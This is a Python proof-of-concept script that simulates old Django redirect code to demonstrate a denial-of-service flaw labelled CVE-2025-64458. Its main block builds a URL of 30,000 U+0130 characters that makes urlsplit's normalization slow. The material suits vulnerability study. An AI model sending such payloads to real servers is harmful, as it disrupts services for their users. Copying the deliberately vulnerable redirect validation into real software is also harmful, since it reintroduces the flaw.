Vulnerable code sample

# This code demonstrates the vulnerability described in CVE-2025-64458
# by simulating the vulnerable components of an older Django version.
# The vulnerability lies in a slow validation step within the redirect process
# that can be exploited for a Denial-of-Service attack.

import sys
import time
from urllib.parse import urlsplit

# On Windows, the underlying Python implementation of unicodedata.normalize('NFKC', ...)
# can have quadratic complexity for certain inputs, which is used by urlsplit for
# Internationalized Domain Names (IDNA) processing. This script may not demonstrate
# the severe slowdown on non-Windows platforms.

# --- Simplified representation of vulnerable Django framework components ---

def iri_to_uri(iri):
    """A placeholder for Django's iri_to_uri function."""
    # The actual implementation is more complex, but this is sufficient for the demo.
    return str(iri)

def url_has_allowed_scheme_and_netloc(url, allowed_schemes):
    """
    Simplified representation of the Django utility function from vulnerable versions.
    This function was called inside HttpResponseRedirect.__init__ and was the
    source of the vulnerability.
    """
    if not url:
        return False
    try:
        # VULNERABLE STEP: urlsplit() is called on the user-provided URL.
        # For a URL containing a hostname with a large number of specific
        # Unicode characters (like U+0130), this call can be extremely slow
        # on certain platforms (notably Windows) due to NFKC normalization.
        url_info = urlsplit(url)
        # The original function performed more checks here, but they are
        # not relevant to demonstrating the performance issue.
        return True
    except ValueError:
        # The input URL was malformed.
        return False

class HttpResponse:
    """Simplified base class for an HTTP response."""
    def __init__(self, *args, **kwargs):
        self.headers = {}
        self.status_code = 200

    def __setitem__(self, header, value):
        self.headers[header] = value

class HttpResponseRedirectBase(HttpResponse):
    """
    Simplified representation of the HttpResponseRedirectBase class as it
    existed in vulnerable Django versions (e.g., 5.1 before 5.1.14).
    """
    allowed_schemes = ["http", "https", "ftp"]

    def __init__(self, redirect_to, *args, **kwargs):
        super().__init__(*args, **kwargs)
        self["Location"] = iri_to_uri(redirect_to)

        # THE VULNERABLE CALL:
        # In vulnerable versions, the redirect URL was validated using this function.
        # The fix for the CVE removed this call from the __init__ method.
        if not url_has_allowed_scheme_and_netloc(redirect_to, self.allowed_schemes):
            # In a real app, this would raise a DisallowedRedirect exception.
            # We'll just print a message for this demonstration.
            print("Warning: Disallowed redirect scheme or netloc.", file=sys.stderr)


class HttpResponseRedirect(HttpResponseRedirectBase):
    """Simplified representation of the final redirect class."""
    status_code = 302

def redirect(to):
    """
    Simplified representation of the django.shortcuts.redirect shortcut,
    which is the common entry point for this vulnerability.
    """
    return HttpResponseRedirect(to)


# --- Demonstration of the Denial-of-Service attack ---

def vulnerable_view(request_url):
    """
    Simulates a Django view that performs a redirect based on user input,
    e.g., redirecting after login using a 'next' query parameter.
    """
    print(f"View received request to redirect to: {request_url[:70]}...")
    start_time = time.time()
    # This call initiates the vulnerable chain: redirect() -> HttpResponseRedirect()
    # -> HttpResponseRedirectBase.__init__() -> url_has_allowed_scheme_and_netloc() -> urlsplit()
    response = redirect(request_url)
    end_time = time.time()
    duration = end_time - start_time
    print(f"Redirect response generated in {duration:.4f} seconds.")
    if duration > 2.0:
        print("\n[!] The request took an unusually long time to process.")
        print("[!] This demonstrates the Denial-of-Service vulnerability.")
    return response

if __name__ == "__main__":
    # The payload uses a character (U+0130) known to cause performance issues
    # in NFKC normalization on some platforms.
    malicious_character = "\u0130"

    # A large number of these characters are used to amplify the effect.
    # On a vulnerable system (Python on Windows), even 20,000 can cause
    # a significant delay (many seconds or minutes).
    payload_size = 30000
    host_payload = malicious_character * payload_size

    # The attacker crafts a URL where the slow-to-process payload is in the
    # hostname part, as this is what urlsplit will attempt to normalize.
    attack_url = f"http://{host_payload}.example.com/"

    print("--- Demonstrating CVE-2025-64458 (pre-patch) ---")
    print(f"Platform: {sys.platform}")
    print(f"Using a payload of {payload_size} instances of character '\\u0130'.")
    print("-" * 50)

    vulnerable_view(attack_url)